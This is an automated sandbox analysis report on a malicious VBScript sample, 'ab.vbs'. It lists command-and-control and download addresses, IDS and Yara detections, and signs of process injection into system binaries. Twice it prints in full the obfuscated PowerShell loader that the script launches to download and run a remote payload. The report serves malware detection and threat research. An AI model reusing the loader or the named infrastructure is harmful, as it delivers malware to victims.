Windows Analysis Report
ab.vbs

Malicious sample detected (through community Yara rule)

Source: global traffic

TCP traffic: 192.168.2.7:49852 -> 45.149.241.141:2023

Source: Joe Sandbox View	IP Address: 162.159.200.1 162.159.200.1
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: Joe Sandbox View	JA3 fingerprint: caec7ddf6889590d999d7ca1b76373b6

Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 45.149.241.141:2023 -> 192.168.2.7:49921
Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 45.149.241.141:2023 -> 192.168.2.7:49952
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49831 -> 202.71.109.228:443

Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141

Source: global traffic	HTTP traffic detected: GET /ab/Laney.dsp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: pts.groupConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ab/ab.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.tdejb.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: pts.group
Source: global traffic	DNS traffic detected: DNS query: www.tdejb.com
Source: global traffic	DNS traffic detected: DNS query: ts1.aco.net
Source: global traffic	DNS traffic detected: DNS query: gbg1.ntp.se
Source: global traffic	DNS traffic detected: DNS query: ntp1.hetzner.de
Source: global traffic	DNS traffic detected: DNS query: time.facebook.com
Source: global traffic	DNS traffic detected: DNS query: time.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ntp.time.in.ua
Source: global traffic	DNS traffic detected: DNS query: ntp.nict.jp
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: powershell.exe, 00000004.00000002.1555228381.0000021D90071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.1749523122.0000000005025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1532725380.0000021D81C68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pts.group
Source: powershell.exe, 00000004.00000002.1532725380.0000021D80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1749523122.0000000004ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.1749523122.0000000005025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000007.00000002.1781112542.0000000007998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: svchost.exe	String found in binary or memory: https://45.149.241.141:2023/6d41b386417b9c328d8/hkxh1h5h.v22gl
Source: powershell.exe, 00000004.00000002.1532725380.0000021D80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000007.00000002.1749523122.0000000004ED1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.1749523122.0000000005025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1532725380.0000021D81333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1555228381.0000021D90071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1773360781.0000000005F38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1532725380.0000021D80225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1532725380.0000021D81333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pts.group
Source: powershell.exe, 00000004.00000002.1532725380.0000021D80225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1532725380.0000021D81333000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1749523122.0000000005025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pts.group/ab/Laney.dsp
Source: powershell.exe, 00000004.00000002.1532725380.0000021D80225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1532725380.0000021D81333000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1749523122.0000000005025000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.puneet.ae/ab/Laney.dsp
Source: msiexec.exe, 00000009.00000002.1959171271.0000000000642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tdejb.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443

Source: unknown	HTTPS traffic detected: 68.66.226.116:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.71.109.228:443 -> 192.168.2.7:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.7:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.7:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.7:50002 version: TLS 1.2

Source: svchost.exe, 0000000D.00000003.1946639469.00000000056C0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_d3d8a722-9

Source: svchost.exe, 0000000D.00000003.1946639469.00000000056C0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_8508c526-7

Source: Yara match	File source: 13.3.svchost.exe.54a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.msiexec.exe.23b10000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.56c0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.svchost.exe.56c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.msiexec.exe.238f0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1946639469.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1946474653.00000000054A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1942766561.0000000023B10000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1942589272.00000000238F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1448, type: MEMORYSTR

Source: C:\Windows\System32\svchost.exe

Code function: 14_3_00007DF4526208CC CreateDesktopW,CreateProcessW,GetExitCodeProcess,TerminateProcess,

14_3_00007DF4526208CC

System Summary

Source: amsi32_8060.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7696, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8060, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKl
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Kollationernendkaldebefjelses='Elefantridderne';;$Flumed='Rundingernes';;$Metropoler='Larceners';;$Provisionsindtgters='Drivremmen';;$Smedejernslaage=$host.Name;function Elevtimens($Ballongynges){If ($Smedejernslaage) {$Firspandets79=2} for ($Kollationerne=$Firspandets79;;$Kollationerne+=3){if(!$Ballongynges[$Kollationerne]) { break };$Bibliofil+=$Ballongynges[$Kollationerne];$Squibbery='Jogurternes'}$Bibliofil}function Fortynderes($Thuds){ .($Nongame) ($Thuds)}$Fangled=Elevtimens 'ToN rePltSi.Dew';$Fangled+=Elevtimens 'S E.ubC,c oLR.i HEStNs T';$Gasted=Elevtimens 'S.MAnoBazObiP l lAhaMe/';$Dealation=Elevtimens 'coTValSlsEj1Pl2';$Hiwire='St[LuNF,e.dtL . sCee SR Iv,lIRoc .eHyp .O ,iUnnRyTFrm.ia n maUdg oeMir L]Va:Ch:RaS Te Tc Su R AiPrt yMiPSpR fOinT PoAacN,ORkLNa= ,$ VDbeeAgA.uL ZaInTFlI.po AN';$Gasted+=Elevtimens 'An5 T.Co0 a(FuWWiigen KdBao ,wKosHo MaNReTU T1Fe0He.Da0 i;O TrW eiHenU 6 4J ;Fa ,mxSn6 o4Fi;B DrNivFy:Um1.e3Fo1U .,t0 ,)Se BeGNoeHjc,ok loEt/ H2I 0,n1Im0.v0Du1Ri0 P1Pr .kFj,iS,rSteDef,noVrxSk/Af1Ud3Ru1To.Ve0';$Endomysial=Elevtimens ',nuAsSHaE,kRRe-BiaOuGBaE n AT';$niveauoplysning=Elevtimens ' h StAnt bpTes T: h/Kh/UnpRatRas y.A gNor lo ,u Ap o/U aAlb ./P L aaInnBreHvyNo.Fod KsVap.r>CohEmt .tN.p,asK :R / / nwSmw uwFa.YapSkuRenHoeBae ut B. aaPee.n/AraCobS,/ LT,arenSpeC yO.. td oskrp';$Afpolitiserendes=Elevtimens ',a>';$Nongame=Elevtimens 'RuIK,enoX';$Stripperne='Bystyrers';$Assumptiveness='\Nonfattening.Ret';Fortynderes (Elevtimens ' P$UnGSelL.o BE,AFllH : ,F No Pr SS ,DNoeNo=Co$DiER NLiVLy: ABoP lPP D PA .t a M+sa$Baa ,SDosCaU uM pUdTMeiViV tESuN e DS.uS');Fortynderes (Elevtimens 'Ex$ kgMalUnOBab,eA LGr:K BRuIPrbTue Kh.wo ,lroDFle MLBuS ueS,n vSAb=,y$Ovn SIS vFoeTiAAcU TospPViLInYPlSKvnUniKoN LG .MesS PGrLAlIVat S(Af$PrAUnf ePNyO LPoISetB iRrS.pED R rE yNMudPrETvSMa)');Fortynderes (Elevtimens $Hiwire);$niveauoplysning=$Bibeholdelsens[0];$heda=(Elevtimens ' a$MagLalgaOPrBR,ARuLA :MysKotulr aM smNoeOk=Inn aE uW S-UnODiB ,J eFoc ItPu R SG Y oSF TL.eD MBl.re$SufMbAInn KgDelPae id');Fortynderes ($heda);Fortynderes (Elevtimens 'Fo$E S StubrLem im UeCu. HSleToaPad.neSkrPasHa[N $P EShnGtd Ao fm cySes riBaaPrlbo]Tr=Un$AlG FaLus tAne Cd');$Preposed=Elevtimens ' O$AfSP,tTyrp.mHem.oe,n.SnDAcoCrwGrn Ol LoCoaMyd aFO iStlSteTi(As$ On niPrvRue a TuMuoC,pSul kySasFanK iManRogko,P,$InHMajgaewarben neMirBjsRe)';$Hjerners=$Forsde;Fortynderes (Elevtimens ' .$,nGtiL o.oBBlA ll s:HaDEar,eiO,KTeKroeDiV .aChrAle fR SN.ie esPa=Hi( et ,EMesS T K-PePAla EtDahSi An$BehlgjGgeOvRUnnLeE rrSksHa)');while (!$Drikkevarernes) {Fortynderes (Elevtimens ' t$ gBelIno b aIrlHj: LPOmrV oU.tEneGes ptUns,lyp r F=,u$ ,A on stMyi Sc waY p,li St a hl SiSusmit aiAnc') ;Fortynderes $Preposed;Fortynderes (Elevtimens ' oSH,t PaS rHaTSo-E sRelEnE.ieMupCh M4');Fortynderes (Elevtimens ' I$PrGInlSeO NBBlASkLDe:Vedi RS IRdKT.kViES vMiaKl			Jump to behavior

Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262F180 malloc,RtlDosPathNameToNtPathName_U,NtAcceptConnectPort,NtAcceptConnectPort,free,	14_3_00007DF45262F180
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262E25C NtAcceptConnectPort,	14_3_00007DF45262E25C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262F32C NtAcceptConnectPort,free,	14_3_00007DF45262F32C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262E094 NtAcceptConnectPort,	14_3_00007DF45262E094
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262E170 NtAcceptConnectPort,	14_3_00007DF45262E170
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262E150 NtAcceptConnectPort,	14_3_00007DF45262E150
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262E3E8 NtAcceptConnectPort,	14_3_00007DF45262E3E8
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262E3C8 NtAcceptConnectPort,	14_3_00007DF45262E3C8
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45262E910 calloc,DuplicateHandle,NtAcceptConnectPort,free,NtAcceptConnectPort,NtAcceptConnectPort,	14_3_00007DF45262E910
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_0000024F6A2A1CF4 NtAcceptConnectPort,CloseHandle,	14_2_0000024F6A2A1CF4
Source: C:\Windows\System32\svchost.exe	Code function: 14_2_0000024F6A2A15C0 NtAcceptConnectPort,	14_2_0000024F6A2A15C0
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_3_00007DF424A01CE8 calloc,CreateProcessW,NtResumeThread,CloseHandle,free,	21_3_00007DF424A01CE8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_3_00007DF424A01958 calloc,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtQueryInformationProcess,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,	21_3_00007DF424A01958
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A3158 NtAcceptConnectPort,	21_2_00000207587A3158
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A2A20 NtAcceptConnectPort,	21_2_00000207587A2A20
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A2CAC NtAcceptConnectPort,	21_2_00000207587A2CAC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A2D80 NtAcceptConnectPort,	21_2_00000207587A2D80
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A2DDC NtAcceptConnectPort,	21_2_00000207587A2DDC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A2DAC NtAcceptConnectPort,	21_2_00000207587A2DAC
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A2E84 NtAcceptConnectPort,	21_2_00000207587A2E84
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A2EC8 NtAcceptConnectPort,	21_2_00000207587A2EC8
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00000207587A290C NtAcceptConnectPort,	21_2_00000207587A290C
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A12E90 NtQuerySystemInformation,NtQuerySystemInformation,	21_2_00007DF424A12E90
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 21_2_00007DF424A425D4 NtQuerySystemInformation,NtQuerySystemInformation,	21_2_00007DF424A425D4

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFAAC26B955	4_2_00007FFAAC26B955
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFAAC26ABA5	4_2_00007FFAAC26ABA5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFAAC338B9A	4_2_00007FFAAC338B9A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D4E928	7_2_04D4E928
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D4F1F8	7_2_04D4F1F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_04D4E5E0	7_2_04D4E5E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_07B1D020	7_2_07B1D020
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_0000024F6A3B5E94	14_3_0000024F6A3B5E94
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_0000024F6A3B5594	14_3_0000024F6A3B5594
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_0000024F6A3B5914	14_3_0000024F6A3B5914
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_0000024F6A3B250D	14_3_0000024F6A3B250D
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_0000024F6A3B2C52	14_3_0000024F6A3B2C52
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_0000024F6A3B4A50	14_3_0000024F6A3B4A50
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_0000024F6A3B1BBC	14_3_0000024F6A3B1BBC
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_0000024F6A3B27B2	14_3_0000024F6A3B27B2
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45263D42C	14_3_00007DF45263D42C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45260286C	14_3_00007DF45260286C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526208CC	14_3_00007DF4526208CC
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526121F0	14_3_00007DF4526121F0
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526EA19C	14_3_00007DF4526EA19C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45267D248	14_3_00007DF45267D248
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45266D2A0	14_3_00007DF45266D2A0
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526552F4	14_3_00007DF4526552F4
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526F32F8	14_3_00007DF4526F32F8
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452605F9C	14_3_00007DF452605F9C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45265FF78	14_3_00007DF45265FF78
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452601058	14_3_00007DF452601058
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526210BC	14_3_00007DF4526210BC
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526EE0B0	14_3_00007DF4526EE0B0
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526FA598	14_3_00007DF4526FA598
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526E7578	14_3_00007DF4526E7578
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF452655640	14_3_00007DF452655640
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526EE5F4	14_3_00007DF4526EE5F4
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526ED75C	14_3_00007DF4526ED75C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF45268071C	14_3_00007DF45268071C
Source: C:\Windows\System32\svchost.exe	Code function: 14_3_00007DF4526343E4	14_3_00007DF4526343E4
